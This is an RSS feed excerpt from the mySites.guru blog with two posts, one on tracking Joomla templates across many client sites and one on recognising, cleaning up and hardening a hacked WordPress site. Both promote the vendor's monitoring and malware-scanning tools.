&lt;p&gt;Every template data point in the list comes from the automated &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;. The snapshot runs 140+ checks across every connected site, twice a day. The template list is just one view of that data. Other snapshot checks that relate to templates include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Whether the site is using a default template (flagged as an issue)&lt;/li&gt;
&lt;li&gt;Whether the &lt;code&gt;robots.txt&lt;/code&gt; file is blocking the &lt;code&gt;/templates/&lt;/code&gt; or &lt;code&gt;/media/&lt;/code&gt; directories from search engines (which prevents Google from accessing CSS and images)&lt;/li&gt;
&lt;li&gt;The overall configuration health of the site, which can be affected by template settings&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Real-world scenarios&lt;/h2&gt;
&lt;h3&gt;Scenario 1: Template framework update across 80 sites&lt;/h3&gt;
&lt;p&gt;You receive an email from a template developer announcing a new version with a security patch. You need to know which sites are running that template and which version they are on.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the template list in mySites.guru&lt;/li&gt;
&lt;li&gt;Type the template name in the search box&lt;/li&gt;
&lt;li&gt;The filtered list shows 23 of your 80 sites are using that template&lt;/li&gt;
&lt;li&gt;The Theme Version column shows 19 are on the old version, 4 have already been updated&lt;/li&gt;
&lt;li&gt;Click Export CSV to document the current state&lt;/li&gt;
&lt;li&gt;Use the mass package installer to push the update to the 19 remaining sites&lt;/li&gt;
&lt;li&gt;Run snapshots and check the template list again - all 23 now show the new version&lt;/li&gt;
&lt;li&gt;Export another CSV for your records&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Total time: about 10 minutes. Without mySites.guru, that same task would involve logging into 80 admin panels just to identify the 23 affected sites, before you even start updating.&lt;/p&gt;
&lt;h3&gt;Scenario 2: Client portfolio handover&lt;/h3&gt;
&lt;p&gt;You are taking over management of 35 Joomla sites from another agency. You need to document exactly what is deployed on each site.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect all 35 sites to your mySites.guru account&lt;/li&gt;
&lt;li&gt;Wait for the initial snapshots to complete (or trigger them manually)&lt;/li&gt;
&lt;li&gt;Open the template list and export the CSV&lt;/li&gt;
&lt;li&gt;Open the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions list&lt;/a&gt; and note the template frameworks in use&lt;/li&gt;
&lt;li&gt;Cross-reference with the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt; for PHP versions and CMS versions&lt;/li&gt;
&lt;li&gt;Attach all three exports to your handover documentation&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You now have a complete, accurate inventory without having logged into a single admin panel.&lt;/p&gt;
&lt;h3&gt;Scenario 3: Standardising templates after acquisition&lt;/h3&gt;
&lt;p&gt;Your agency has acquired a smaller agency, and you want to standardise all sites onto your preferred template framework. You need to know what is currently in use across both portfolios.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Connect the acquired agency&apos;s sites to your mySites.guru account (there is &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;no limit on the number of sites&lt;/a&gt; you can add)&lt;/li&gt;
&lt;li&gt;Open the template list and search for your preferred template framework - these sites are already standardised&lt;/li&gt;
&lt;li&gt;Search for other template names to identify the ones that need migrating&lt;/li&gt;
&lt;li&gt;Export the CSV and sort by template name to group the migration work&lt;/li&gt;
&lt;li&gt;Work through the list site by site, updating the template list as you go&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The template list becomes your migration project tracker. As each site is migrated, it moves from the &quot;old template&quot; search results to the &quot;new template&quot; search results.&lt;/p&gt;
&lt;h2&gt;How Is the Data Collected?&lt;/h2&gt;
&lt;p&gt;The template data comes from the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;, which runs automatically twice daily on every connected site. The snapshot is fast - it completes in milliseconds - and collects over 140 data points about each site&apos;s configuration.&lt;/p&gt;
&lt;p&gt;For Joomla sites, the snapshot reads the active template assignment from the site&apos;s configuration. It captures the template name, version number, and author as reported by the template&apos;s manifest file.&lt;/p&gt;
&lt;p&gt;For WordPress sites, the snapshot reads the active theme information from the WordPress database, capturing the same data points: theme name, version, and author.&lt;/p&gt;
&lt;p&gt;This data is stored in mySites.guru and made available through the template list tool, the CSV export, and the individual site management pages. It is refreshed every 12 hours automatically, or immediately when you trigger a manual snapshot.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;Note&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;The snapshot is distinct from the full audit. The snapshot checks configuration and settings in milliseconds. The &amp;lt;a href=&quot;/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot; class=&quot;text-blue-800 underline dark:text-blue-300&quot;&amp;gt;audit&amp;lt;/a&amp;gt; inspects every file and line of code on the webspace, so it takes longer but catches things like malware in template files.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What Are Common Joomla Template Management Mistakes?&lt;/h2&gt;
&lt;p&gt;Managing templates across a large portfolio is straightforward when you have the right tooling. Without it, these mistakes happen regularly:&lt;/p&gt;
&lt;h3&gt;Not tracking template versions&lt;/h3&gt;
&lt;p&gt;Installing a template and never checking whether the developer has released updates is surprisingly common. Template updates contain bug fixes, performance improvements, and - critically - security patches. The template list makes version tracking automatic rather than something you have to remember to do.&lt;/p&gt;
&lt;h3&gt;Leaving old templates installed&lt;/h3&gt;
&lt;p&gt;After migrating a site to a new template, the old template often remains installed. It is not active, so it does not affect the front end, but the files are still on the server. If those files contain a vulnerability, they can still be exploited. The template list shows the active template; the &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extensions management tool&lt;/a&gt; shows all installed templates, including inactive ones.&lt;/p&gt;
&lt;h3&gt;Assuming all sites use the same template&lt;/h3&gt;
&lt;p&gt;In a large portfolio, it is easy to assume consistency where there is none. A site might have been set up by a different team member, or a client might have changed their template without telling you. The template list provides the ground truth, replacing assumptions with data.&lt;/p&gt;
&lt;h3&gt;Not documenting template choices&lt;/h3&gt;
&lt;p&gt;When a team member leaves, their knowledge of which templates are deployed where goes with them. The CSV export from the template list creates an instant, accurate record that does not depend on any individual&apos;s memory.&lt;/p&gt;
&lt;h3&gt;Ignoring the default template warning&lt;/h3&gt;
&lt;p&gt;The snapshot check for default templates is there for a reason. Default templates are fine for development and testing, but they should not be running on production client sites. If the warning keeps appearing and you keep ignoring it, you are accepting unnecessary risk and presenting an unprofessional appearance to your clients&apos; visitors.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you already have a mySites.guru account with connected sites, the template list is available right now in your Tools section. The data populates automatically from your latest snapshots - there is nothing extra to configure or enable.&lt;/p&gt;
&lt;p&gt;If you do not have an account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up on the pricing page&lt;/a&gt; and start connecting your Joomla and WordPress sites. The snapshot runs on each site as it is connected, and the template data appears in the list as soon as the snapshot completes. mySites.guru supports &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt; at a flat monthly rate - there is no per-site charge, so you can add your entire portfolio without worrying about costs scaling with your business.&lt;/p&gt;
&lt;p&gt;For a broader look at everything mySites.guru offers beyond template management, check out the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt; or read about the &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;full dashboard experience&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Portal:Administrators/Template_Management&quot;&gt;Joomla Template Management Portal&lt;/a&gt; - Official Joomla documentation covering the template manager, assignments, and core template workflows&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sucuri.net/guides/joomla-security/&quot;&gt;Sucuri Joomla Security Guide&lt;/a&gt; - Security hardening guide covering vulnerability protection and access control for Joomla deployments&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://watchful.net/how-to/joomla-template-security/&quot;&gt;8 Tips to Improve Joomla Template Security&lt;/a&gt; - Practical template-specific security hardening including file permissions, directory listing prevention, and file change monitoring&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Template management is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>templates</category><category>themes</category><category>joomla</category><category>manage multiple sites</category><category>security</category><enclosure url="https://mysites.guru/_astro/how-to-compare-joomla-templates-across-sites.CM7oGx38.webp" length="0" type="image/webp"/></item><item><title>Is My WordPress Site Hacked? How to Check and What to Do Next</title><link>https://mysites.guru/blog/is-my-wordpress-site-hacked/</link><guid isPermaLink="true">https://mysites.guru/blog/is-my-wordpress-site-hacked/</guid><description>Think your WordPress site has been hacked? Here are the signs to look for, how to confirm it, and what to do in the first 24 hours to contain the damage.</description><pubDate>Thu, 12 Mar 2026 23:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Something is off with your WordPress site. Maybe it&apos;s redirecting to a casino. Maybe Google is showing a &quot;This site may be hacked&quot; warning. Maybe your hosting provider just sent you a threatening email about malware.&lt;/p&gt;
&lt;p&gt;Before you panic, you need to figure out what&apos;s actually happening. Not every weird behaviour means you&apos;ve been hacked, but ignoring real signs can turn a small problem into a total mess.&lt;/p&gt;
&lt;h2&gt;Hack or false alarm?&lt;/h2&gt;
&lt;p&gt;Some symptoms point to a hack. Others are just a broken plugin or a hosting hiccup. Knowing the difference saves you hours chasing the wrong problem.&lt;/p&gt;
&lt;h3&gt;Strong indicators of a hack&lt;/h3&gt;
&lt;p&gt;These almost always mean someone has tampered with your site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unexpected redirects&lt;/strong&gt; - Your site sends visitors (or just mobile visitors, or just Google visitors) to spam, pharmacy, or gambling sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New admin users you didn&apos;t create&lt;/strong&gt; - Check Users &amp;gt; All Users for accounts you don&apos;t recognise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modified core files&lt;/strong&gt; - WordPress core files (wp-includes, wp-admin) have been changed from their original versions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Safe Browsing warnings&lt;/strong&gt; - Google shows &quot;This site may harm your computer&quot; in search results&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Strange files in unexpected places&lt;/strong&gt; - PHP files in your uploads folder, files with random names in wp-content, or hidden files starting with a dot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SEO spam injection&lt;/strong&gt; - Your site shows pharmaceutical or gambling content to search engines but looks normal to you&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hosting provider notifications&lt;/strong&gt; - Your host detected malware or suspended your account&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Things that look like a hack but usually aren&apos;t&lt;/h3&gt;
&lt;p&gt;These cause confusion but typically have innocent explanations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Site is slow or down&lt;/strong&gt; - More likely a hosting issue, bad plugin, or traffic spike&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin panel looks different&lt;/strong&gt; - A plugin or theme update changed the UI&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Emails going to spam&lt;/strong&gt; - Usually a &lt;a href=&quot;https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/&quot;&gt;DNS/SPF/DKIM configuration problem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;404 errors on pages&lt;/strong&gt; - Broken permalinks after a migration or plugin conflict&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;White screen of death&lt;/strong&gt; - Almost always a PHP error from a plugin or theme conflict&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to confirm a WordPress hack in 5 minutes&lt;/h2&gt;
&lt;p&gt;Don&apos;t guess. Check.&lt;/p&gt;
&lt;h3&gt;Step 1: Scan your files&lt;/h3&gt;
&lt;p&gt;The fastest way to confirm a hack is to scan every file on your server against known malware patterns. Surface-level scanners that only check a few pages miss most infections - you need file-level scanning.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;mySites.guru&apos;s malware scanner&lt;/a&gt; checks every file in your webspace against 2,000+ regex patterns and 14,000+ known-bad file hashes. Most scanners only check what your site outputs to a browser. This one reads the actual files on disk, which is where the malware lives.&lt;/p&gt;
&lt;p&gt;You can &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;run a free audit&lt;/a&gt; with no credit card required.&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;The mySites.guru suspect content tool clearly shows hacked files, and patterns that match our suspect content rules&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h3&gt;Step 2: Check your admin users&lt;/h3&gt;
&lt;p&gt;Log into WordPress and go to &lt;strong&gt;Users &amp;gt; All Users&lt;/strong&gt;. Sort by role and look for any Administrator accounts you don&apos;t recognise. Hackers often create backdoor admin accounts with innocent-sounding names.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&apos;s snapshot&lt;/a&gt; makes this easier. Every site audit shows exactly how many super users exist, how many lack two-factor authentication, and flags any accounts that look suspicious - across all your sites at once, without logging into each one individually.&lt;/p&gt;
&lt;p&gt;If you can&apos;t log in at all, that&apos;s another strong indicator - the attacker may have changed your password or locked you out.&lt;/p&gt;
&lt;h3&gt;Step 3: Check Google&apos;s view of your site&lt;/h3&gt;
&lt;p&gt;Search Google for &lt;code&gt;site:yourdomain.com&lt;/code&gt; and scan the results. If you see pages about pharmaceuticals, gambling, or products you don&apos;t sell, your site has been injected with SEO spam. This type of hack is invisible to you when you visit the site normally because the malware only shows the spam content to search engine crawlers.&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;A real example of a hacked site - Google is indexing gambling spam pages under a legitimate food business domain&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h3&gt;Step 4: Review recently modified files&lt;/h3&gt;
&lt;p&gt;Check which files on your server were modified recently. If core WordPress files or files in wp-content have modification dates that don&apos;t match your last update, something changed them.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru audit&lt;/a&gt; includes a full set of file and folder diagnostic tools that automate this work. It flags files modified in the last three days, finds hidden files and folders, locates archive files left behind by attackers, spots PHP files in directories where they shouldn&apos;t exist, identifies renamed files (like file.old or file.bak) that hackers use to stash backdoors, and checks for files that existed in a previous audit but were modified since. Each finding has an &quot;Investigate&quot; button that lets you drill straight into the file.&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;The mySites.guru audit includes over 20 file and folder checks - recently modified files, hidden folders, dangerous permissions, archive files, and more&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; flags files that contain suspicious code patterns - things like base64-encoded payloads, eval() calls processing external input, or obfuscated function names designed to avoid detection.&lt;/p&gt;
&lt;h2&gt;What should you do in the first 24 hours?&lt;/h2&gt;
&lt;p&gt;If your scan confirms a hack, move fast. The longer malware stays on your site, the more damage it does to your search rankings and reputation.&lt;/p&gt;
&lt;h3&gt;1. Change every password&lt;/h3&gt;
&lt;p&gt;Right now. All of them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WordPress admin password&lt;/li&gt;
&lt;li&gt;FTP/SFTP credentials&lt;/li&gt;
&lt;li&gt;Database password (update wp-config.php to match)&lt;/li&gt;
&lt;li&gt;Hosting control panel password&lt;/li&gt;
&lt;li&gt;Any API keys stored in wp-config.php&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; means you don&apos;t need to remember passwords for every site - but the attacker might have your old credentials, so change them all regardless.&lt;/p&gt;
&lt;h3&gt;2. Document what you find&lt;/h3&gt;
&lt;p&gt;Before you start deleting files, take note of what&apos;s been compromised. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; does this for you - it lists every flagged file with the exact matching lines, the threat type, and when the file was last modified. If a file looks suspicious but you&apos;re not sure what it does, the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can explain it in plain English with one click.&lt;/p&gt;
&lt;p&gt;This record matters because it tells you how the attacker got in, which you need to know to prevent reinfection.&lt;/p&gt;
&lt;h3&gt;3. Remove the malware&lt;/h3&gt;
&lt;p&gt;For each compromised file, you have two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Core files&lt;/strong&gt; (wp-admin, wp-includes): Replace them with clean copies from wordpress.org. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;compare your core files against the originals&lt;/a&gt; and restore them with a single click - no FTP needed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme and plugin files&lt;/strong&gt;: Compare against the original versions. If the file shouldn&apos;t exist at all (random PHP files in your uploads folder, for example), delete it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru also has a built-in file editor that lets you view and edit any file on your server directly from the dashboard. When the audit flags a suspicious file, you can open it, inspect the code, remove the malicious content, and save it back - all without needing FTP or SSH access.&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;The built-in file editor lets you view and edit files directly on your server to remove malicious code&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;Our step-by-step guide covers the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;full cleanup process&lt;/a&gt; using mySites.guru&apos;s tools.&lt;/p&gt;
&lt;h3&gt;4. Find and remove backdoors&lt;/h3&gt;
&lt;p&gt;Most people stop after removing the visible malware. That&apos;s why they get hacked again a week later.&lt;/p&gt;
&lt;p&gt;Attackers plant backdoor files in places you wouldn&apos;t normally look, specifically so they can get back in after cleanup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inside legitimate-looking plugin files&lt;/li&gt;
&lt;li&gt;In your theme&apos;s functions.php (buried among real code)&lt;/li&gt;
&lt;li&gt;As &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;dot-files&lt;/a&gt; (.htaccess modifications, hidden PHP files) that FTP clients don&apos;t even show you&lt;/li&gt;
&lt;li&gt;In the uploads directory disguised as images&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; catches these because it checks every single file against 20,000+ regex patterns and 14,000+ known-bad file hashes. It doesn&apos;t just check the obvious locations - it scans your entire webspace, including the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files and folders&lt;/a&gt; that most tools skip.&lt;/p&gt;
&lt;h3&gt;5. Update everything&lt;/h3&gt;
&lt;p&gt;After cleanup, update WordPress core, all plugins, and all themes to their latest versions. If you manage multiple sites, mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk update tool&lt;/a&gt; lets you push updates across all of them from one dashboard. Remove any plugins or themes you&apos;re not using - deactivated plugins are still attackable.&lt;/p&gt;
&lt;p&gt;Check your plugins against known vulnerabilities. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerting&lt;/a&gt; cross-references every plugin on your site against CVE databases and alerts you when a plugin has a known security hole - so you can patch it before it gets exploited again.&lt;/p&gt;
&lt;h3&gt;6. Set up monitoring&lt;/h3&gt;
&lt;p&gt;A clean site today can be compromised again tomorrow if you&apos;re not watching it. mySites.guru gives you several layers of ongoing protection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file change alerts&lt;/a&gt; - get notified the moment any monitored file changes or an admin logs in&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduled security audits&lt;/a&gt; - automate daily or weekly scans so you don&apos;t have to remember to run them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;Uptime monitoring&lt;/a&gt; - know within minutes if your site goes down, which can be an early sign of a new attack&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Automated snapshots&lt;/a&gt; - twice-daily checks of 140+ configuration settings so you can spot anything that changes unexpectedly&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why do hacked WordPress sites keep getting reinfected?&lt;/h2&gt;
&lt;p&gt;Incomplete cleanup is the number one culprit. Miss one backdoor file and the attacker walks right back in.&lt;/p&gt;
&lt;p&gt;But even a perfect cleanup fails if you don&apos;t fix the entry point. If a vulnerable plugin got you hacked and you clean the malware but leave the plugin at the same version, you&apos;ll get hit through the same hole again. Same goes for weak passwords - if your admin account is still using &quot;password123&quot;, brute-force bots will find it.&lt;/p&gt;
&lt;h2&gt;When should you get professional help?&lt;/h2&gt;
&lt;p&gt;You can handle most WordPress hacks yourself with the right scanning tools. But consider getting professional help if:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your hosting provider has suspended your account and won&apos;t reinstate it&lt;/li&gt;
&lt;li&gt;The hack involves a database injection (not just file modifications)&lt;/li&gt;
&lt;li&gt;Your site has been compromised for weeks or months and you&apos;re unsure of the full scope&lt;/li&gt;
&lt;li&gt;You&apos;re seeing signs of a targeted attack rather than an automated one&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; can help you understand exactly what each flagged file does, making it easier to decide whether to clean or delete it.&lt;/p&gt;
&lt;p&gt;If you&apos;d rather hand the whole thing to someone who&apos;s done it hundreds of times, the &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; service covers the full cleanup - finding the entry point, removing every backdoor, updating everything, and locking the site down. One flat fee, no surprises.&lt;/p&gt;
&lt;h2&gt;How do you harden your WordPress site after cleanup?&lt;/h2&gt;
&lt;p&gt;Cleaning up the malware is half the job. The other half is understanding what&apos;s actually running on your server and making sure it&apos;s configured properly. Most site owners have no idea what&apos;s under the hood - debug mode left on, outdated PHP versions, missing security headers, exposed log files. These are the gaps attackers walk through.&lt;/p&gt;
&lt;p&gt;mySites.guru runs &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;140+ best-practice checks&lt;/a&gt; on every site, twice a day. It flags the stuff you&apos;d never think to check manually:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP version and configuration&lt;/strong&gt; - Running an outdated or end-of-life PHP version is an open invitation. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; shows you exactly which version each site runs and whether it meets current requirements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Debug mode&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug constants&lt;/a&gt; left enabled on production sites leak error paths, database credentials, and internal file structures to anyone who knows where to look.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security headers&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;CSP, HSTS, X-Frame-Options, and Permissions-Policy&lt;/a&gt; defend against XSS, clickjacking, and protocol downgrade attacks. The snapshot checks all eight headers on every scan.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSL certificates&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;Track every certificate&apos;s expiry date&lt;/a&gt; and get alerted before it lapses. An expired cert kills trust and can tank your rankings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hidden files&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;Dot-files and dot-folders&lt;/a&gt; that FTP clients and file managers don&apos;t show you. Hackers love these blind spots.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disk space&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;Server disk monitoring&lt;/a&gt; catches partitions filling up before your site crashes. A full disk also prevents log rotation, which masks future attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates&lt;/strong&gt; - Keep core, plugins, and themes current. Use &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk updates&lt;/a&gt; across multiple sites and remove anything you&apos;re not actively using - deactivated plugins are still attackable code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access control&lt;/strong&gt; - Strong, unique passwords for every admin account. &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Role-based permissions&lt;/a&gt; so team members only have the access they need. On client sites, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;block plugin installs from the WordPress admin&lt;/a&gt; so nobody introduces untested code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File monitoring&lt;/strong&gt; - &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; when any monitored file changes or an admin logs in, plus &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled security audits&lt;/a&gt; running daily or weekly so you catch issues before they become incidents.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fix the hack, yes - but also understand your server&apos;s configuration and apply best practice across every site you manage. That&apos;s what stops the next attack.&lt;/p&gt;
&lt;h2&gt;Scan your site now&lt;/h2&gt;
&lt;p&gt;Catching a hack on day one is a 30-minute fix. Discovering it three weeks later, after Google has flagged your site and your rankings have tanked, is a different problem entirely.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Run a free security audit&lt;/a&gt; on your WordPress site. No credit card, takes about a minute, scans every file on the server.&lt;/p&gt;
&lt;p&gt;&amp;lt;div style=&quot;border: 2px solid #171717; border-radius: 0.75rem; overflow: hidden;&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
